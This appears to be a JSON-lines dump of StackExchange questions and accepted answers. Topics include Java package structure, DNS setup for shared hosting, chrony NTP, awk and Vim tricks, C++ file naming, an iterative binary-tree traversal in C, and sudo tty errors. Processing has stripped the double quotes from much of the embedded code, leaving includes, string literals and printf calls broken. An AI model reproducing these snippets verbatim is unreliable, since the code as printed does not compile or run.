transaction 1055643No magic number at block 25696: end of journal.debugfs:  logdump -i <6816248>Inode 6816248 is at group 832, block 27263023, offset 2944Journal starts at block 24819, transaction 1055643........What would be the next step for me to recover all my files and folders"  , "title": "How should I restore my files after I get the following output"  , "tags": "kali linux;data recovery"  } 
{  "id": "_codereview.49550"  , "question": "I am making an application which fetches tweets for a specified amount of time, then inserts those tweets in a database and when the user presses another button the top n words and the hashtags will be shown.This is my Twitter package:[Package]Twitter     >[Class]TwitterTools.javaThis is my Analyzing package:[Package]Analyzing         >[Class]WordCounting.javaThis is the TwitterTools class:public class TwitterTools {    public static List<Status> search(Query query) {    }    public static void filterTweetsBasedOnCity(List<Status> tweets, final String city) {    }    public static Query queryMaker(final String keywords, final Date since,            final Date until, final int count) {    }}search - returns a list of status based on a queryfilterTweetsBasedOnCity - deletes status from a list if they were not made in a certain cityqueryMaker - makes a query based on the parametersThis is the WordCounting class:public class WordCounting {    public static String getHtmlTable(final List<String[]> words, final List<String[]> hashtags) {    }    public static Stream<Map.Entry<String, Long>> getTopWords(final int topX, final Stream<String> words) {    }    public static String listToHtmlTable(List<Map.Entry<String, Long>> topEntries, final String title) {    }}getHtmlTable - returns the html table of the top X wordsgetTopWords - returns a stream of the top wordslistToHtmlTable - converts a list to an html tableMy question is how should I arrange these two packages. Should I merge them since they have only one class each? Should I split them even more by having some of the functions in another class?"  , "title": "Putting in order my two packages and possibly merging them"  , "tags": "java;classes"  , "accepted_answer": "The ideal package structure is one which indicates usage. Classes such as these which exclusively contain static methods are definitely utility classes, which I usually put in a util subpackage of your main application.From what it sounds like, you don't have a main package at the moment which ideally would be your website (in reverse domain order), e.g. com.stackexchange.codereview so that the more specific elements are later, then on top of that you'd have the name of your application which may make it something like com.stackexchange.codereview.tweettrends.This would be the core of your program, and from here you could then add on your extras.The Twitter package in particular doesn't sound helpful: your entire program seems to relate to Twitter so it doesn't really convey what that part of the program does. Frankly, I'd just put all those classes under com.stackexchange.codereview.tweettrends.util and add in more sub-packages if you add more classes.And generally speaking, in Java packages should be exclusively lowercase."  } 
{  "id": "_webmaster.4331"  , "question": "I've got a shared hosting account on GoDaddy, however my domain name is registered at a seperate company.  Assuming I already know how to point my domain name to whatever I want, how do I set up GoDaddy to accept the whatever domain name I want, and how do I find the proper address for my GoDaddy hosting so that I can point my domain name to?"  , "title": "GoDaddy shared hosting with domain registed at a different registrar"  , "tags": "domains;web hosting;shared hosting"  , "accepted_answer": "When you sign up for Godaddy shared hosting they usually send you and email afterwards with the server's IP. Once you have the IP address go to the site that is hosting your domain name and change the Host (A)Record within the DNS setting to reflect the new IP address. It will take an hour or an hour and a half based upon what the TTL is set to."  } 
{  "id": "_softwareengineering.313291"  , "question": "I am developing an application which sends certain notifications to the user as read from a read-only external service. The user might dismiss notifications, and those should not appear again.I cannot ask the server to give me only entries newer than than my last query because I am particularly interested in a value that changes over time. I have to give entries a chance for at least a week or so. Because of that, the queries to the service might return data which were already retrieved before, and I need to filter the ones already dismissed. I can do that by looking at the IDs of the received entries, which appear to be SHA hashes.I can save those IDs to the Preferences as id -> boolean pairs, or in a SQLite database, but surely they will reach some limit sooner or later.Also, I do not really need to check the older entries. I could put a hard limit on, say, the 100 latest entries and that should be more than enough.How should I approach the disposal of old entries to ensure I don't go over the limits?EDIT: As requested, more information about the problem which might be useful:My query currently is of the form the latest 1000 entries, from newest to oldest, if they are newer than 2 weeks. 1000 is a number so high that is effectively infinite, for the purposes of my application. 2 weeks is a time interval so long that the user should not want to be notified about that information anymore, as it is highly unlikely to become relevant by that time.All entries have a created timestamp. They also have an updated timestamp, which, if exists, should be treated as the created date for the purposes of my application. I do not expect answers to account for this technicality, though.All entries have an importance coefficient, which is the value I am tracking. I notify the user only of entries with this coefficient higher than a set threshold. Since this value changes over time, I cannot simply ignore entries I have already fetched before and found to not be relevant. Changes in this value do not affect the updated field.If the user dismisses the notification about an entry, its notification should be filtered out the next time a query happens. Comparing the IDs is enough for that."  , "title": "How to save a list of strings which might grow too large but old data is not useful"  , "tags": "design;android"  , "accepted_answer": "Just an idea, maybe I misunderstood some parameters of the problem. I'll offer my solution anyway, as a start to work towards something functional.At retrieval time:retrieve from read-only database only entries that are either newer than your last query or newer than 1-2 weeksfilter out the entries that have already been dismissed comparing their ID's with the ones you saved in your SQLite databaseIn addition, if you are afraid to run out of space in your SQLite database, or anyway want to forget about the old dismissed notifications:once every week, check which ones of the entries of your SQLite database are older than 2 weeks (either running a cross-check with the read-only database, or just saving their entrance date in your SQLite database), and delete them"  } 
{  "id": "_unix.359453"  , "question": "I am trying to deploy an ntp server in my local network, so I followed these steps (i used the tutorial here):apt install chronyAnd I added the following lines:server time.google.com iburstallow 0/0Then I made a :service chrony restartI am suposed to have an output like this:# chronyc sources  210 Number of sources = 2  MS Name/IP address         Stratum Poll Reach LastRx Last sample  ==========================================================================  ^* 192.0.2.12                    2   6   177    46    +17us[  -23us] +/-   68ms And this is my output:# chronyc sources210 Number of sources = 1MS Name/IP address         Stratum Poll Reach LastRx Last sample               ==========================================================================^? time3.google.com           0   8     0     -     +0ns[   +0ns] +/-    0nsAs you can see the +0ns[   +0ns] +/-    0ns do not change and the clock does not synchronise with the google server -- where is the problem ?"  , "title": "Chrony does not want to synchronize"  , "tags": "linux;ntp;chrony"  } 
{  "id": "_unix.362839"  , "question": "I have a large .csv file where I need to split a specific column by string length. I'm trying to take the last 6 characters of column 2 and move them into a new column.Current:3102017,90131112,0,7403022017,8903944,90,03092017,127037191,475,0Desired:3102017,90,131112,0,7403022017,8,903944,90,03092017,127,037191,475,0"  , "title": "Use AWK to split substring by last n characters in to a new column"  , "tags": "text processing;awk;sed;perl;csv simple"  , "accepted_answer": "With a POSIX-compliant awk:awk -F, -v OFS=, '{sub(/.{6}$/, OFS &, $2); print}'With a POSIX-compliant sed:sed 's/^\\([^,]*,[^,]*\\)\\([^,]\\{6\\}\\)/\\1,\\2/'Those modify the lines only if the second field is at least 6 characters long (note that it will happily change 111,123456,333 to 111,,123456,333 leaving the second field empty)."  } 
{  "id": "_unix.22114"  , "question": "Is there an easy way to move to the next capital letter with vim? I'm often working with camel-cased variables and it could be useful."  , "title": "Move to next capital letter"  , "tags": "vim"  , "accepted_answer": "There are a few scripts out there to redefine the word motion commands (b, e, w) to stop at capital letters in CamelCase words; camelcasemotion looks well-established (disclaimer: I've never used it). The Vim wiki has a few examples of simpler scripts if you prefer to do it yourself. Here's a relatively simple way to remap C-Left and C-Right to handle caml-cased words.nnoremap <silent><C-Left> :<C-u>call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%^','bW')<CR>nnoremap <silent><C-Right> :<C-u>call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%$','W')<CR>inoremap <silent><C-Left> <C-o>:call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%^','bW')<CR>inoremap <silent><C-Right> <C-o>:call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%$','W')<CR>"  } 
{  "id": "_softwareengineering.332214"  , "question": "First let me explain what is my understanding of the terms statically typed language and type safety:Statically typed language: a language that does not allow you to change the type of a variable at run-time.Type safety: type safety means that you are not allowed to mix incompatible data types.For example, you cannot assign a float to an int, and you cannot assign an int to a function pointer, and you cannot add a user-defined object to an int (unless you use operator overloading), etc.Back to my question, let's say that there is an interpreted statically typed language, in such a language I can write code that assigns a float to an int, but when this code is executed, a (run-time) type error will occur.Is such a language considered to be type safe, or are type safe languages can only be statically typed and compiled, and so type errors must be caught at the compilation stage?"  , "title": "Can an interpreted statically typed language be considered type safe?"  , "tags": "data types;dynamic typing;static typing;type safety"  } 
{  "id": "_codereview.165045"  , "question": "I am writing a program which downloads a file from a URL. Because the name of the downloaded file depends on the url, there is a risk of duplication if the user downloads the same file twice.   For example if the url is : http://www.example.org/myfile.zip The downloaded file name will be myfile.zip. and if the user downloads it again the name will be myfile(1).zipTo achieve this, I wrote the following code :    //A file already exist, we use the usual name       //but add a number before the extension like Name(X).extension X being a number    //Append the number just before the file extension    auto pos = name.find_last_of(.);    std::string nameWithoutExt = name.substr(0, pos);    std::string extension = name.substr(pos);    std::ostringstream possibleName;    int i = 1;    do    {        //Clear the string stream        possibleName.str();        possibleName.clear();        possibleName<< nameWithoutExt << ( << std::to_string(i) << ) << extension;        ++i;      //Check if a file with the possible name exists     } while (std::experimental::filesystem::exists(builder.str()));    name = builder.str();This solution does not look optimal to me, because it may require a lot of calls to std::experimental::filesystem::existsfunction. Are there any ways to improve this?"  , "title": "generate a file name with format Name(Number).extension"  , "tags": "c++;file;file system;c++14"  , "accepted_answer": "There are a couple of improvements that I think you might make to this code.Provide complete code to reviewersThis is not so much a change to the code as a change in how you present it to other people.  Without the full context of the code and an example of how to use it, it takes more effort for other people to understand your code.  This affects not only code reviews, but also maintenance of the code in the future, by you or by others.  One good way to address that is by the use of comments.  Another good technique is to include test code showing how your code is intended to be used.Use standard functions where appropriateSince you're already using the experimental/filesystem routines, why not make better use of them?  Here is a function called uniqueName which shows one way to do that using your current strategy:fs::path uniqueName(const std::string &name) {    fs::path possibleName{name};    auto stem = possibleName.stem().string();    auto ext = possibleName.extension().string();    for (int i=1; fs::exists(possibleName); ++i) {        std::ostringstream fn;        fn << stem << ( << i << ) << ext;        possibleName.replace_filename(fn.str());    }    return possibleName;}As suggested by the name of the function, this routine takes the name of a file and either returns it unaltered if no such file exists in the current directory or returns an altered filename as per your schema.  Be aware that after this function is called, some other process could create a file with the same name.Create a list and use itAs shown in the review by @yuri, you could create a list and then use that.  It has the same potential problem noted above in that another process could create additional files after the list is created.  This version does not require any regex:std::unordered_set<std::string> create_file_list(){    std::unordered_set<std::string> m{};    for (const auto item : fs::directory_iterator{fs::current_path()}) {        m.emplace(item.path().filename().string());    }    return m;}This creates a list of just the filenames (stripping the path).  This can then be used in a minor variation of the routine shown above.  Note that only a single line is different.fs::path uniqueName(const std::string &name, const std::unordered_set<std::string> files) {    fs::path possibleName{name};    auto stem = possibleName.stem().string();    auto ext = possibleName.extension().string();    for (int i=1; files.find(possibleName.string()) != files.end(); ++i) {        std::ostringstream fn;        fn << stem << ( << i << ) << ext;        possibleName.replace_filename(fn.str());    }    return possibleName;}"  } 
{  "id": "_webapps.88415"  , "question": "I read that is not possible to delete sent messages in Facebook here:How can I delete Facebook messages sent to other users?, but an answer there says that there's a work around like this: mark the message as Spam or Abuse (in Actions), then delete it from your messages, and disable/deactivate your account.I tried this but there's not a option to mark my own messages as spam, when I go to the all-chats interface, when I select a conversation with a friend there's a action menu that let me mark something as spam (I believe that's the whole conversation that's fine by me) but I don't know if this would work since I believe that I would be marking as spam their messages and not mine, so if I press that button I think that I would be marking their messages as spam so they would be still able to watch and read my messages.So how this work-around works if I can't mark my own messages as spam before deleting them. I know that this trick work since I have a few conversation when a yellow rectangle appears instead of my friend messages saying that the messages was marked as spam even knowing that I didn't marked their messages as spam."  , "title": "How can you mark your own sent messages in a chat as spam in Facebook"  , "tags": "facebook;facebook chat;facebook messages"  } 
{  "id": "_webmaster.19160"  , "question": "I'm trying to optimize my website and running a few tests using webpagetest.org. I tried the test from Singapore and Hongkong. I saw that while all facebook, quantcast, chitika scripts were loading from singapore/hongkong servers, but jquery (google hosted), plusone.js, twitter etc were loading from the mountain view/palo alto/cambridge servers.Since I'm using cloudflare, I can see that one of the JS files that I host on my server was actually loading from one of cloudfare's singapore servers.So is there a real benifit of using google hosted jquery etc? Sample test results are here 1) For my website's home page (http://www.humbug.in) - Test Location Singaporehttp://www.webpagetest.org/result/110904_89_1G8RF/1/details/2) For the url of this question - Test Location Amsterdamhttp://www.webpagetest.org/result/110904_B6_1G93M/1/details/In both cases jquery is being loaded from mountain view servers"  , "title": "Do Google/Twitter etc actually use distributed servers to serve their resources?"  , "tags": "cdn;page speed;geolocation"  } 
{  "id": "_unix.186418"  , "question": "This works to change the background color for the entire terminal with xterm:printf '\\033]10;%s\\a\\033]11;%s\\a' Blue RedIt doesn't work in xfce4-terminal, tho.  Is there something that will work?  Note, I want a command line solution."  , "title": "using ansi escape codes to change the background color in xfce4-terminal"  , "tags": "colors;escape characters;xfce4 terminal"  } 
{  "id": "_computergraphics.170"  , "question": "It is no secret that according to the official documentation extensions are not available under OpenGL ES 2.0. Nevertheless, the glext.h file present in the NDK platform-include directories makes me think that extensions are indeed available. I know that working with OpenGL under NDK doesn't differ from working with standalone OpenGL. So, if I make something like a JNI bridge between my java engine interface and these extensions, I could use them.So the question is: what architectural solution should I use if I want to use available OpenGL ES extensions on ES2.0 devices?"  , "title": "Using extensions in Android OpenGL ES 2.0"  , "tags": "opengl;android"  } 
{  "id": "_softwareengineering.216899"  , "question": "In Python we have yield which is very similar to that one which is proposed in ES6 (in fact, pythonic co-routines were the main source of inspiration for implementing co-routines inI wonder what are the reasons for choosing a separate function* () syntax for generators compared to just defining regular functions with yeilds - just like in python by the way? I'm talking strictly of technical issues and peculiarities. Why it had been decided that a separate form will be more appropriate? "  , "title": "Are there any technical obstacles for implementing `function* ()` syntax"  , "tags": "javascript"  , "accepted_answer": "Because code that uses yield normally as variable would change its meaning:function test() {    var yield = 3;    return yield + 2 //in current javascript this means return 5                      //but if yield syntax was enabled for all                      //functions then it would secretly change meaning}"  } 
{  "id": "_codereview.166496"  , "question": "I've to simulate exactly a recursive algorithm with an iterative one.Assuming that I have a binary search tree that contains only a key and two references at his right and left child I want to do this count:CountOddRec(T)  ret = 0  if T != NIL then      if T->key % 2 = 1 then          ret = T->key      rsx = CountOddRec(T->sx);      rdx = CountOddRec(T->dx);      ret = ret + rsx + rdx;  return retBasically my idea is to use the general scheme of iterative binary tree visit to do that:VisitIter(T)  last = NIL   curr = T  stk = NULL  while (curr != NIL || stk != NIL) do      if curr != NIL then          //Pre-order visit          stk = push(stk, curr)          next = curr->sx       else          curr = Top(stk)          if (last != curr-> dx) then              //In-order visit          if (last != curr-> dx  && curr->dx != NULL) then              next  = curr->dx          else              //Post-order visit              stk = pop(stk)              next = NIL      last = curr      curr = nextNow I know that this one should be in Pre-order block:      if T->key % 2 = 1 then          ret = T->keyThe rsx = assignment should be in-order, and rdx = assignment and last block should be in post-order.Now here I'm stuck, I ask if someone could help me to understand how finish the algorithm.This is my first attempt that should work:CountOddIter(T)  last = NIL   curr = T  stk = NULL //stack  Sret = NULL //stack  Srsx = NULL //stack  ret = 0  while (curr != NIL || stk != NIL) do      ret = 0      if curr != NIL then          //Pre-order block          if (curr->key % 2 == 1) then              ret = curr->key          Sret = push(Sret, ret)          stk = push(stk, curr)          next = curr->sx       else          curr = Top(stk)          if (last != curr-> dx) then              //In-order block              Srsx = push(Srsx, pop(Sret))          if (last != curr-> dx  && curr->dx != NULL) then              next  = curr->dx          else              //Post-order block              rdx = pop(Sret)              rsx = pop(Srsx)              r = pop(Sret)              ret = rdx + rsx + r              Sret = push(Sret, ret)              stk = pop(stk)              next = NIL      last = curr      curr = nextThis solutions works if I assume that a pop on an empty stack returns 0.Any other suggestions? Improvements? Is it really correct? Please can I have some feedback?Many thanksWorking code (main.c):#include <stdio.h>#include <stdlib.h>#include stack.h#include stack_int.h#include tree.hint countOddRic(tree_p T){    int ret = 0;    if(T != NULL){        if(T->key % 2 == 1){            ret = T->key;        }        int rsx = countOddRic(T->left);        int rdx = countOddRic(T->right);        ret = ret + rsx + rdx;    }    return ret;}int countOddIte(tree_p T){tree_p curr = T;tree_p next = NULL;tree_p last = NULL;stack *S = init_stack(100);stack_int *Sret = init_stackInt(100);stack_int *Srsx = init_stackInt(100);int ret = 0;while(curr != NULL || !isEmptyStack(S)){    ret = 0;    if(curr != NULL){        //printf(pre-order: %d\\n, curr->key);        if(curr->key % 2 == 1){            ret = curr->key;        }        Sret = pushInt(Sret, ret);        S = push(S, curr);        next = curr->left;    }else{        curr = top(S);        if(last != curr->right){            //printf(in-order: %d\\n, curr->key);            Srsx = pushInt(Srsx, popInt(Sret));        }        if(last != curr->right && curr->right != NULL){            next = curr->right;        }else{            //printf(post-order: %d\\n, curr->key);            int rdx = popInt(Sret);            int rsx = popInt(Srsx);            int r = popInt(Sret);            ret = rdx + rsx + r;            Sret = pushInt(Sret, ret);            pop(S);            next = NULL;        }    }    last = curr;    curr = next;}printf(\\nRet = %d\\n, ret);}int main(void){tree_p T = NULL;insert(&T, 54);insert(&T, 12);insert(&T, 46);insert(&T, 78);insert(&T, 6);insert(&T, 434);insert(&T, 44);insert(&T, 4);insert(&T, 552);insert(&T, 216);insert(&T, 47);insert(&T, 892);insert(&T, 74);insert(&T, 62);insert(&T, 414);insert(&T, 4442);insert(&T, 86);insert(&T, 4618);insert(&T, 798);insert(&T, 74);insert(&T, 554);insert(&T, 45);insert(&T, 776);insert(&T, 98);insert(&T, 36);insert(&T, 211);insert(&T, 24);printf(Count: %d\\n, countOddRic(T));countOddIte(T);return 0;}stack.c:#include stack.hstack *init_stack(int size) {stack *S = (stack*) malloc(sizeof(stack));if (S == NULL) {    exit(-1);}S->size = size;S->array = (tree_p*) malloc(size * sizeof(tree_p));if (S->array == NULL) {    exit(-1);}S->last = 0;return S;}int isEmptyStack(stack *S) {return S->last == 0;}int isFullStack(stack *S) {return S->last == S->size - 1;}stack *push(stack *S, tree_p elem) {if (isFullStack(S))    return S;S->last++;S->array[S->last] = elem;return S;}tree_p pop(stack *S) {if (isEmptyStack(S))    return ERR_EMPTY_STACK;S->last--;return S->array[S->last + 1];}tree_p top(stack *S) {if (isEmptyStack(S))    return ERR_EMPTY_STACK;return S->array[S->last];}void freeStack(stack *S){if(S != NULL){    free(S->array);    S->array = NULL;    free(S);}}void printStack(stack *S) {if (isEmptyStack(S))    return;tree_p e = pop(S);printf(|%d, e->key);printStack(S);push(S, e);}stack.h:#include <stdio.h>#include <stdlib.h>#include <time.h>#include tree.h#ifndef STACK_H_#define STACK_H_#define ERR_EMPTY_STACK NULLtypedef struct {    int size;    int last;    tree_p *array;} stack;stack *init_stack(int size);void fillRandomStack(stack *S, int nElem);int isEmptyStack(stack *S);int isFullStack(stack *S);stack *push(stack *S, tree_p elem);tree_p pop(stack *S);tree_p top(stack *S);void freeStack(stack *S);void printStack(stack *S);#endifstack_int.c:#include stack_int.hstack_int *init_stackInt(int size) {    stack_int *S = (stack_int*) malloc(sizeof(stack_int));    if (S == NULL) {        exit(-1);    }    S->size = size;    S->array = (int*) calloc(size + 1, sizeof(int));    if (S->array == NULL) {        exit(-1);    }    return S;}    void fillRandomStackInt(stack_int *S, int nElem){    while(!isFullStackInt(S) && nElem > 0){        pushInt(S, rand() % 500);        nElem--;    }}    int isEmptyStackInt(stack_int *S) {    return S->array[0] == 0;}    int isFullStackInt(stack_int *S) {    return S->array[0] == S->size - 1;}stack_int *pushInt(stack_int *S, int elem) {    if (isFullStackInt(S))        return S;    S->array[0]++;    S->array[S->array[0]] = elem;    return S;}int popInt(stack_int *S) {    if (isEmptyStackInt(S))        return ERR_EMPTY_STACK_INT;    S->array[0]--;    return S->array[S->array[0] + 1];}int topInt(stack_int *S) {    if (isEmptyStackInt(S))        return ERR_EMPTY_STACK_INT;    return S->array[S->array[0]];}void freeStackInt(stack_int *S){    if(S != NULL){        free(S->array);        S->array = NULL;        free(S);    }}stack_int.h:#include <stdio.h>#include <stdlib.h>#include <time.h>#ifndef STACK_INT_H_#define STACK_INT_H_#define ERR_EMPTY_STACK_INT 0typedef struct {    int size;    int *array;} stack_int;stack_int *init_stackInt(int size);void fillRandomStackInt(stack_int *S, int nElem);int isEmptyStackInt(stack_int *S);int isFullStackInt(stack_int *S);stack_int *pushInt(stack_int *S, int elem);int popInt(stack_int *S);int topInt(stack_int *S);void freeStackInt(stack_int *S);void printStackInt(stack_int *S);#endiftree.c:#include tree.hvoid insert(tree_p *tree, int val) {tree_p temp = NULL;if(!(*tree)) {    temp = (tree_p) malloc(sizeof(tree));    temp->left = temp->right = NULL;    temp->key = val;    *tree = temp;    return;}if(val < (*tree)->key)     insert(&(*tree)->left,val);else if(val > (*tree)->key)    insert(&(*tree)->right,val);else    return;}tree.h#include <stdlib.h>#include <stdio.h>#ifndef TREE_H_#define TREE_H_typedef struct tree {    int key;    struct tree *left;    struct tree *right;} tree, *tree_p;void insert(tree_p *tree, int val);#endif"  , "title": "Counting nodes in a binary tree with odd values, using an iterative algorithm"  , "tags": "algorithm;c;tree;iteration"  , "accepted_answer": "Overthinking itI think when you translated the code from recursive to iterative, you were overthinking the order of operations (i.e. preorder vs inorder vs postorder).  For this task, you are simply summing all the key values that are odd.  So it actually doesn't matter which traversal order you use.  You can just use whatever order is the most convenient.In your iterative solution, you created three stacks.  The purpose of the integer stacks was (I believe) so that you could simulate the correct order of the additions.  But as mentioned above, additions can be made in any order, as long as you add each odd key exactly once to the return value.  So the integer stacks are totally unnecessary.Other thingsYour indentation is off everywhere, but I'm guessing you pasted the code incorrectly.You never free your stacks, so you have a memory leak there.Your header files include headers that aren't needed by the header files themselves.  You should move those #includes into the .c files, where they are actually needed.Simplified solutionHere is how you could have written your function, without any of the integer stacks:int countOddIte(tree_p root){    stack *S   = init_stack(100);    int    ret = 0;    push(S, root);    while (!isEmptyStack(S)) {        tree_p curr = pop(S);        if (curr == NULL)            continue;        if (curr->key % 2 == 1)            ret += curr->key;        push(S, curr->left);        push(S, curr->right);    }    freeStack(S);    printf(\\nRet = %d\\n, ret);}Simulating exact recursionAccording to a comment by the OP, the goal was to simulate the recursion exactly no matter how strange/inefficient the code turned out.  So here, I will present a rewrite to accomplish that goal (although the code is quite ugly).  A few items to note:I only used one stack, but each stack frame contains the exact information that would be contained in a normal recursive stack frame for a function.I maintain a return address at all times, which determines where in the caller the function should return to.  This simulates what really happens when a function returns to its caller.  I had to use goto statements to accomplish this.I used a macro on the recursive call site to simplify what the call looked like (since there were two calls almost exactly the same).I combined all your code into one .c file:Here is the code:#include <stdio.h>#include <stdlib.h>typedef struct tree {    int key;    struct tree *left;    struct tree *right;} tree, *tree_p;void insert(tree_p *tree, int val){    tree_p temp = NULL;    if(!(*tree)) {        temp = (tree_p) malloc(sizeof(tree));        temp->left = temp->right = NULL;        temp->key = val;        *tree = temp;        return;    }    if(val < (*tree)->key)        insert(&(*tree)->left,val);    else if(val > (*tree)->key)        insert(&(*tree)->right,val);    else        return;}int countOddRecursive(tree_p T){    int ret = 0;    if(T != NULL){        if(T->key % 2 == 1){            ret = T->key;        }        ret += countOddRecursive(T->left);        ret += countOddRecursive(T->right);    }    return ret;}typedef struct stackNode {    tree_p T;    int ret;    int returnAddr;} stackNode;// This macro simulates a recursive function call by pushing the current// frame onto the stack and setting the variables up as if the function// had just been called.#define countOddSimRecurse(newT, newReturnAddr)     \\    stack[stackIndex].T            = T;             \\    stack[stackIndex].ret          = ret;           \\    stack[stackIndex++].returnAddr = returnAddr;    \\    T                              = newT;          \\    returnAddr                     = newReturnAddr; \\    goto begin;int countOddIterative(tree_p T){    stackNode stack[100];    int       stackIndex = 0;    int       ret        = 0;    int       funcRet    = 0;    int       returnAddr = 0;begin:    ret = 0;    if (T != NULL) {        if(T->key % 2 == 1){            ret = T->key;        }        countOddSimRecurse(T->left, 1);ret1:        ret += funcRet;        countOddSimRecurse(T->right, 2);ret2:        ret += funcRet;    }    // If the stackIndex is 0, we are returning from the initial    // function call, so return for real.    if (stackIndex == 0)        return ret;    // Otherwise we are simulating a return to one of the two possible    // return addresses, ret1 or ret2.  We pop the previous frame from the    // stack and return to wherever returnAddr tells us to return to.    // Note that the value of ret is copied to funcRet because when    // we return from this recursive call, ret will be set to the value    // that the caller had for that variable.    int returnTo = returnAddr;    funcRet    = ret;    T          = stack[--stackIndex].T;    ret        = stack[  stackIndex].ret;    returnAddr = stack[  stackIndex].returnAddr;    if (returnTo == 1)        goto ret1;    else if (returnTo == 2)        goto ret2;}int main(void){    tree_p T = NULL;    insert(&T, 54);    insert(&T, 12);    insert(&T, 46);    insert(&T, 78);    insert(&T, 6);    insert(&T, 434);    insert(&T, 44);    insert(&T, 4);    insert(&T, 552);    insert(&T, 216);    insert(&T, 47);    insert(&T, 892);    insert(&T, 74);    insert(&T, 62);    insert(&T, 414);    insert(&T, 4442);    insert(&T, 86);    insert(&T, 4618);    insert(&T, 798);    insert(&T, 74);    insert(&T, 554);    insert(&T, 45);    insert(&T, 776);    insert(&T, 98);    insert(&T, 36);    insert(&T, 211);    insert(&T, 24);    printf(Count (recursive): %d\\n, countOddRecursive(T));    printf(Count (iterative): %d\\n, countOddIterative(T));    return 0;}"  } 
{  "id": "_unix.212172"  , "question": "I am running Linux.I have a single process in a mount namespace. I did in this process a mount -t tmpfs tmpfs /mountpoint. What happens if the process exits and there are no more processes in that mount namespace?Will the filesystem be automatically unmounted? Will the mount namespace be destroyed? If the namespaces and the mount are still active how do I access it?What happens to tun/tap/macvtap interfaces if a network namespace has no more processes?"  , "title": "What happens if the last process in a namespace exits?"  , "tags": "linux;namespace;network namespaces"  } 
{  "id": "_unix.57336"  , "question": "Currently on Ubuntu Linux, but I noticed this on other OS's too. Apparently any user can execute the sync command, but why is this? I can only see the disadvantage: system slow down due to unnecessary disk writes.Why can every user execute sync?"  , "title": "Why can an unpriviliged user execute the `sync` command?"  , "tags": "hard disk;synchronization"  } 
{  "id": "_scicomp.27536"  , "question": "Consider one dimensional hyperbolic pde $$u_t+f'(u)u_x=0$$For the above problem ,CFL condition is $\\Delta t\\leq \\dfrac{\\Delta x}{|f'(u)|}.$ But if we include  the source term $,S(u,t),$ which depend upon $u$  and $t$ in above equation i.e.$$u_t+f'(u)u_x=S(u,t)$$ What is the influence of $S(u, t)$ in the CFL condition ?."  , "title": "CFL condition of source term"  , "tags": "finite difference;cfl"  } 
{  "id": "_unix.309616"  , "question": "Im using packer to create automated linux golden images. When I try and run a script that requires sudo, I get the following errorsudo: no tty present and no askpass program specifiedThis error has been discussed at length on the internet, the recommended advice is use one of the following: ssh using -tRemove from /etc/sudoers Defaults:username !requirettyexport SUDO_ASKPASS=/usr/libexec/openssh/ssh-askpassAdd user to suoders group %admin  ALL=(ALL) NOPASSWD:ALLI've verified that the /etc/sudoers file that ships with ubuntu 16.04 does not contain requiretty. Why does ubuntu still give error sudo: no tty present and no askpass program specifiedhttps://github.com/mitchellh/vagrant/issues/1482 https://askubuntu.com/questions/281742/sudo-no-tty-present-and-no-askpass-program-specified"  , "title": "How to disable requiretty on ubuntu 16.04"  , "tags": "sudo;tty;pty"  } 
{  "id": "_unix.339281"  , "question": "As far as I know, once an inode of a file is found, finding the data is trivial - done by accessing a specific location on the disk, which is stored in the inode. The question however is how exactly are the inodes found, when the system is given a filepath? The purpose of my question is mainly the desire to grasp the way the b-trees are implemented in real life. I understand the general idea of it, I would like to know how exactly it is implemented in Unix filesystem (if at all), though. Does each node of the tree store the inode number, with the leaves additionally storing the address on the disk of the inode itself? Or maybe the consecutive parts of the filepath?Does the implementation vary depending on whether the disk is a hard drive or an SSD?"  , "title": "How exactly are files located under the hood?"  , "tags": "filesystems;ssd;inode;tree"  } 
{  "id": "_codereview.127351"  , "question": "I have a table that name is Store  , In Store Table , just one row can IsDefault=true at time . when I insert new Row , I check If user selected IsDefault , I  update other row whice isDefault=true . I use this code :public AddStatus Add(AddStoreViewModel storeViewModel)    {        if (Exists(storeViewModel.Name)) return AddStatus.Exists;        var storeModel = Mapper.Map(storeViewModel, new StoreEntity.Store());        if (storeModel.IsDefault)        {            var defaultStore = GetDefault();            if (defaultStore != null)            {                defaultStore.IsDefault = false;                _uow.MarkAsBaseChanged(defaultStore); // update            }        }        _uow.MarkAsBaseAdded(storeModel);        return AddStatus.Successfull;    }and in controller I call Above Method like belowe and Call SaveAllChanges : _storeService.Add(storeViewModel); await _uow.SaveChangesAsync();and  MarkAsBaseChange like belowe :  public void MarkAsBaseChanged<TEntity>(TEntity entity) where TEntity : BaseEntity    {        Entry(entity).Entity.Action = Enums.AuditAction.Update;}is this code ok ?"  , "title": "disable other default row- Entity framework"  , "tags": "c#;linq"  } 
{  "id": "_vi.13238"  , "question": "I have followingfunction! s:get_visual_selection()    let [line_start, column_start] = getpos('<)[1:2]    let [line_end, column_end] = getpos('>)[1:2]    let lines = getline(line_start, line_end)    if len(lines) == 0        return ''    endif    let lines[-1] = lines[-1][: column_end - 2]    let lines[0] = lines[0][column_start - 1:]    return join(lines, \\n)endfunction dependencies - tpope's surround.vim pluginfunction! s:singleDoubleQuotesToggler() {{{   select between  using  norm va  let doubleq_sel = s:get_visual_selection()   echo string(doubleq_sel)  let doubleq_sel_length = strlen(doubleq_sel)  echo string(doubleq_sel_length)  exec norm! \\<Esc>  if doubleq_sel_length == 0     echo string(single)    norm cs'  else     echo string('double')    norm cs'  endifendfunction }}}nnoremap <silent> GS :call <SID>singleDoubleQuotesToggler()<CR>problem is that GS work through once and I dont know whyvideo"  , "title": "Help to implement script that toggle single and double quotes"  , "tags": "vimscript;visual mode"  } 
